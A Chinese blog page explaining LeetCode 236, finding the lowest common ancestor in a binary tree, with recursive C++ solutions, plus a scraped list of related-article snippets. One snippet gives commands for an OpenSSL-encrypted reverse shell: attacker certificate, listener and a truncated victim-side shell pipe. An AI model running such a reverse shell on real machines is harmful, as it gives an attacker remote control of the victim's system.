力扣第236题 二叉树的最近公共祖先 c++ 递归和回溯 附注释和简短代码

news2024/12/23 23:47:00

题目

236. 二叉树的最近公共祖先

中等

相关标签

树   深度优先搜索   二叉树

给定一个二叉树, 找到该树中两个指定节点的最近公共祖先。

百度百科中最近公共祖先的定义为:“对于有根树 T 的两个节点 p、q,最近公共祖先表示为一个节点 x,满足 x 是 p、q 的祖先且 x 的深度尽可能大(一个节点也可以是它自己的祖先)。”

示例 1:

输入:root = [3,5,1,6,2,0,8,null,null,7,4], p = 5, q = 1
输出:3
解释:节点 5 和节点 1 的最近公共祖先是节点 3 。

示例 2:

输入:root = [3,5,1,6,2,0,8,null,null,7,4], p = 5, q = 4
输出:5
解释:节点 5 和节点 4 的最近公共祖先是节点 5 。因为根据定义最近公共祖先节点可以为节点本身。

示例 3:

输入:root = [1,2], p = 1, q = 2
输出:1

提示:

  • 树中节点数目在范围 [2, 105] 内。
  • -109 <= Node.val <= 109
  • 所有 Node.val 互不相同 。
  • p != q
  • p 和 q 均存在于给定的二叉树中。

思路和解题方法

算法使用递归方法,对每个节点进行遍历。在遍历过程中,首先判断当前节点是否为NULL或等于p或q节点本身,如果是,则返回当前节点。否则,分别递归遍历左右子树,并将其结果保存在leftright变量中。接下来,对leftright进行判断:

  • 如果leftright都不为NULL,说明当前节点是p和q的最近公共祖先节点,返回当前节点。
  • 如果只有right不为NULL,说明p和q节点都在右子树,返回right节点。
  • 如果只有left不为NULL,说明p和q节点都在左子树,返回left节点。
  • 如果leftright都为NULL,说明p和q节点都不在当前节点的子树中,返回NULL。

最终返回值即为p和q的最近公共祖先节点。

复杂度

        时间复杂度:

                O(n)

时间复杂度:

  • 遍历整棵二叉树的过程中,我们需要访问每个节点一次,因此时间复杂度为O(n),其中n是二叉树的节点数。

        空间复杂度

                O(n)

空间复杂度:

  • 在递归过程中,需要使用递归调用栈来保存每个递归函数的局部变量。在最坏情况下,递归栈的深度等于二叉树的高度。如果二叉树是平衡树,则高度为log(n),其中n为节点数。如果二叉树是非平衡树,则高度可能达到n,比如链表形式的二叉树。因此,空间复杂度为O(h),其中h是二叉树的高度。

c++ 代码

class Solution {
public:
    // 递归函数,用于寻找p和q的最近公共祖先节点
    TreeNode* traver(TreeNode* root, TreeNode* p, TreeNode* q) {
        // 如果当前节点为空,返回NULL
        if (root == NULL) {
            return NULL;
        }
        
        // 如果当前节点是p或q本身,则返回当前节点
        if (root == p || root == q) {
            return root;
        }
        
        // 递归遍历左子树,寻找p和q的最近公共祖先节点
        TreeNode* left = traver(root->left, p, q);
        
        // 递归遍历右子树,寻找p和q的最近公共祖先节点
        TreeNode* right = traver(root->right, p, q);
        
        // 根据左右子树的结果进行判断
        if (left != NULL && right != NULL) {
            // 如果左右子树的结果都不为空,说明当前节点是p和q的最近公共祖先节点
            return root;
        }
        else if (left == NULL && right != NULL) {
            // 如果左子树的结果为空,右子树的结果不为空,说明p和q节点都在右子树上
            return right;
        }
        else if (left != NULL && right == NULL) {
            // 如果左子树的结果不为空,右子树的结果为空,说明p和q节点都在左子树上
            return left;
        }
        else {
            // 如果左右子树的结果都为空,说明p和q节点都不在当前节点的子树中
            return NULL;
        }
    }

    // 寻找p和q的最近公共祖先节点
    TreeNode* lowestCommonAncestor(TreeNode* root, TreeNode* p, TreeNode* q) {
        // 调用递归函数,返回最近公共祖先节点
        return traver(root, p, q);
    }
};

c++优化后的代码

class Solution {
public:
    // 寻找p和q的最近公共祖先节点
    TreeNode* lowestCommonAncestor(TreeNode* root, TreeNode* p, TreeNode* q) {
        // 如果当前节点为空,或者当前节点是p或q本身,则返回当前节点
        if (root == nullptr || root == p || root == q) {
            return root;
        }
        
        // 递归遍历左子树,寻找p和q的最近公共祖先节点
        TreeNode* left = lowestCommonAncestor(root->left, p, q);
        
        // 递归遍历右子树,寻找p和q的最近公共祖先节点
        TreeNode* right = lowestCommonAncestor(root->right, p, q);
        
        // 根据左右子树的结果进行判断
        if (left && right) {
            // 如果左右子树的结果都不为空,说明当前节点是p和q的最近公共祖先节点
            return root;
        }
        
        // 如果左子树的结果不为空,则返回左子树的结果
        // 如果左子树的结果为空,右子树的结果不为空,则返回右子树的结果
        return left ? left : right;
    }
};

小代码满足

class Solution {
public:
    TreeNode *lowestCommonAncestor(TreeNode *root, TreeNode *p, TreeNode *q) {
        if (root == nullptr || root == p || root == q)  return root;
        TreeNode *left = lowestCommonAncestor(root->left, p, q);
        TreeNode *right = lowestCommonAncestor(root->right, p, q);
        if (left && right)   return root;
        return left ? left : right;
    }
};

觉得有用的话可以点点赞,支持一下。

如果愿意的话关注一下。会对你有更多的帮助。

每天都会不定时更新哦  >人<  。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1084637.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

使用OpenSSL的反弹shell

1、攻击机生成证书&#xff1a; openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes2、攻击机开启服务 openssl s_server -quiet -key key.pem -cert cert.pem -port 803、靶机连接命令 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1…

大中型机场基于效能的机场运行管理体系(PBAM)探讨

当前&#xff0c;国内诸多省市在推进大中型机场新建、改扩建过程中&#xff0c;特别注重运营能力的建设。在营机场为了提升整体管理能力&#xff0c;对标省市政府的数字化业务建设要求&#xff0c;也急需要梳理运营管理能力的实施思路。很多机场的建设&#xff0c;从建设态向运…

【LeetCode力扣】75 快速排序的子过程partition(荷兰国旗问题)

目录 1、题目介绍 2、解题思路 2.1、冒泡排序暴力破解 2.2、快速排序的子过程partition 2.2.1、详细过程描述 2.2.2、代码描述 1、题目介绍 原题链接&#xff1a;75. 颜色分类 - 力扣&#xff08;LeetCode&#xff09; 示例 1&#xff1a; 输入&#xff1a;nums [2,0,2…

名城优企游学:全球智能物联领军企业-海康威视的创新发展之道

海康威视在安防、智能物联领域耕耘行业二十余年&#xff0c;其在全球视频监控设备的市场份额连续蝉联全球第一&#xff0c;业务覆盖全球150多个国家和地区。 近日&#xff0c;纷享销客【名城优企系列游学】活动携手30企业家走进全球智能物联领军企业——海康威视。聆听行业标杆…

hutool实现文件上传与下载

<dependency><groupId>cn.hutool</groupId><artifactId>hutool-all</artifactId><version>5.8.16</version></dependency> 文件上传需要创建一个表 Autowiredprivate SysFileInfoMapper sysFileInfoMapper;Value("${ty.…

微信小程序底部tabBar不显示图标

现场还原 在设置微信小程序底部tabBar导航图标时&#xff0c;无论如何操作均无法显示在界面上 解决思路 问题1 图标类型 一开始以为不支持png类型&#xff0c;但查看官方API仅提示ICON尺寸大小 打开其他项目可以正常展示&#xff0c;排除图标类型问题 iconPath string 否 …

犯了这些错误吗?20%的Spring声明式事务可能有问题

今天&#xff0c;我来和你聊聊业务代码中与数据库事务相关的坑。 Spring针对Java Transaction API (JTA)、JDBC、Hibernate和Java Persistence API (JPA)等事务API&#xff0c;实现了一致的编程模型&#xff0c;而Spring的声明式事务功能更是提供了极其方便的事务配置方式&…

RSS和Atom文档怎么打开?RSS新闻阅读软件Reeder5功能特点介绍

一款Mac上最优秀的RSS阅读器 支持本地RSS和Feedbin、Feedly、NewsBlur、Feed Wrangler、FeedHQ 等在线订阅服务 多种风格&#xff0c;多种布局 / 支持 iCloud 同步 自动阅读器视图 / 仿生阅读 / 支持第三方服务 新增功能 新的仿生阅读模式 与iCloud同步的应用内读取后续服务 …

golang/云原生/Docker/DevOps/K8S/持续 集成/分布式/etcd 教程

3-6个月帮助学员掌握golang后端开发岗位必备技术点 教程时长: 150小时 五大核心专栏,原理源码案例分析项目实战直击工作岗位 golang&#xff1a;解决go语言编程问题 工程组件&#xff1a;解决golang工程化问题 分布式中间件&#xff1a;解决技术栈单一及分布式开发问题 云原生…

电商(淘宝京东1688)API接口和ERP选品之间存在一定的关系

API接口是一种用于在应用程序之间进行数据交互和通信的标准化协议&#xff0c;而ERP&#xff08;企业资源计划&#xff09;系统是一种综合性的管理软件&#xff0c;可以帮助企业进行采购、销售、库存等业务流程的自动化管理。 在ERP选品方面&#xff0c;API接口可以用于从外部…

【实用小工具】一键分离音频中的纯人声~

音分轨——能够一键分离出音频中的【人声】和【音乐】&#xff0c;并单独输出为新的音频文件。可以用来扒谱、提取人声、消除背景音等。 第一步&#xff1a;打开【音分轨】APP&#xff0c;进入首页点击【人声分离】 第二步&#xff1a;选择导入方式&#xff0c;上传需要提取伴…

yolov5中的位置损失到底有哪些?

目录 1.IOU loss 2.GIOU 3.DIOU和CIOU 5.SIOU 6.EIOU 7.WIOU 8.MPDIOU 别人问目标检测有几个损失函数&#xff1f; 我答&#xff1a;三个。 别人笑了笑。 我问&#xff1a;难道我说记错了&#xff1f; 别人说&#xff1a;是的&#xff0c;你记错了。 我说&#xff…

Python学习 — 免费使用,无须激活,下载安装即可免费使用Pycharm教程

学生如何通过自己的学校邮箱账号来免费使用专业版Pycharm&#xff0c;无需激活下载与安装、配置Python解释器教程。 前言&#xff1a; Pycharm官网版本是有两个版本的, 第一个版本是Professional(专业版本)&#xff0c;这个版本功能更加强大&#xff0c;主要是为Python和web开…

[vxe-table] 合并行后滚动错位

使用vxe-table的属性:span-method合并行&#xff0c;之后下拉后会错位 原因&#xff1a;缺少配置 scroll-y"{enabled: false}"参考&#xff1a; vxe-table合并行后错位

Maven如何将JAR包上传至本地仓库及私服

前言 为什么需要上传jar包至maven仓库&#xff1f; maven官方仓库有些依赖并不存在&#xff0c;现在项目都是maven直接获取jar&#xff0c;当maven获取不到时&#xff0c;或者需要引入外部jar包依赖时&#xff0c;就需要我们把jar上传至maven仓库。 示例&#xff1a;demo.jar…

好用的思维导图软件Xmind Pro 中文专业安装

XMind是一款非常实用的商业思维导图软件&#xff0c;应用领域广泛&#xff0c;为帮助用户提高工作效率而生。它融合了全球先进的管理理念和一线设计思想&#xff0c;具有强大的功能和优雅的界面&#xff0c;用户可以根据自己的需求自由定制。 好用的思维导图软件Xmind Pro 中文…

【AN基础工具—动画人物绘制】

【AN基础工具——动画人物绘制】 基本操作绘制直线选择工具基本图形钢笔工具 实战 本篇内容&#xff1a;动画人物绘制基础 重点内容&#xff1a;选择工具&#xff0c;线条&#xff0c;钢笔工具 工 具&#xff1a;Adobe Animate 2022 基本操作 绘制直线 选择《直线工具&#x…

2023-10-09 LeetCode每日一题(最小和分割)

2023-10-09每日一题 一、题目编号 2578. 最小和分割二、题目链接 点击跳转到题目位置 三、题目描述 给你一个正整数 num &#xff0c;请你将它分割成两个非负整数 num1 和 num2 &#xff0c;满足&#xff1a; num1 和 num2 直接连起来&#xff0c;得到 num 各数位的一个排…

即时编译jit和xbyak的基本使用介绍

一般来说&#xff0c;解释型编程语言都是依靠自身运行的虚拟机&#xff0c;在解释程序。有时候语言为了提高运行速度&#xff0c;不会去直接解释程序文本&#xff0c;而是模拟cpu执行方式&#xff0c;将文本代码执行一次翻译&#xff0c;翻译为类似cpu执行的汇编语言去执行。有…

树 | 选择题

1. 若X是二叉树中序线索树中一个有左孩子的结点&#xff0c;且X不为根&#xff0c;则X的前驱为 X的双亲 X的右子树中最左的结点 X的左子树中最右结点&#xff08;正确答案&#xff09; X的左子树中最右叶结点&#xff08;可能没有&#xff09; 这里不是前驱结点&#xff0…